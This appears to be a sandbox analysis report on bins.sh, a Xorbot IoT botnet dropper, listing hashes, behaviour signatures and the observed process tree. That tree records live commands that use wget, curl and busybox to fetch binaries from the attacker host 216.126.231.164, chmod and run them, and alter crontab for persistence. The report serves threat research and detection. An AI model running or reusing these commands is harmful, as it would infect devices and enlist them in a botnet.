Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    12/12/2024, 04:11

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2118fb9c92a7ba630d3685316138e51c

  • SHA1

    2e6e52d7dca81eb572af0190f76c4ae4476163f7

  • SHA256

    13d0ad7de82db15e9f2f462a10ad39d4b2eb12ec1724bf934a88093b10f90c34

  • SHA512

    e4d8fb37070248a12bdd22ef4b1852951590ebd55edcc225d0cf50c918d6ea742e9b026156905a14e2f53fbe6f4d6714aa47615fb10a154e47c82958edd0647d

  • SSDEEP

    96:FcKNpVakr8kEqPLgvHpC8b7PLgvHcBMDIq8yNptcepQ38S/4X:FcGas8ktPLgvHpCqPLgvHiZc/

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1945) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          ./106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm 106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://216.126.231.164/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            ./6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm 6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
              PID:768
            • /usr/bin/wget
              wget http://216.126.231.164/bins/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • Writes file to tmp directory
              PID:800
            • /bin/chmod
              chmod 777 FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              ./FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://216.126.231.164/bins/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/chmod
                chmod 777 rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • File and Directory Permissions Modification
                PID:821
              • /tmp/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                ./rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:823
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:825
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:826
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:829
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:830
                  • /bin/rm
                    rm rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                    2⤵
                      PID:842
                    • /usr/bin/wget
                      wget http://216.126.231.164/bins/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                      2⤵
                        PID:885
                      • /usr/bin/curl
                        curl -O http://216.126.231.164/bins/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                        2⤵
                          PID:928
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.164/bins/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                          2⤵
                          • Writes file to tmp directory
                          PID:935
                        • /bin/chmod
                          chmod 777 ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                          2⤵
                          • File and Directory Permissions Modification
                          PID:940
                        • /tmp/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                          ./ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                          2⤵
                          • Executes dropped EXE
                          PID:941
                        • /bin/rm
                          rm ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                          2⤵
                            PID:943
                          • /usr/bin/wget
                            wget http://216.126.231.164/bins/IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                            2⤵
                              PID:944

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            Download Submit

                          • /tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            Download Submit

                          • /tmp/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            Download Submit

                          • /tmp/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            Download Submit

                          • /tmp/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            Download Submit

                          • /var/spool/cron/crontabs/tmp.pzwLtH
                            Filesize

                            210B

                            MD5

                            2871d8ba5ab2d2a351031b65657ffa45

                            SHA1

                            0ee92958610201a7826834ad13ce046bf6213381

                            SHA256

                            d1f67a10d33091f5547becad8b4d984d27f7d95226e42c5100454fd68ec68fb1

                            SHA512

                            d2243460bf760c06e10e2f95b9b6b8f83b5328d72030e7dc82fd773e4cfba0831098f46a289877a44020a31094dbb4e40a212b6134b1ce256ad08989aa946584

                            Download Submit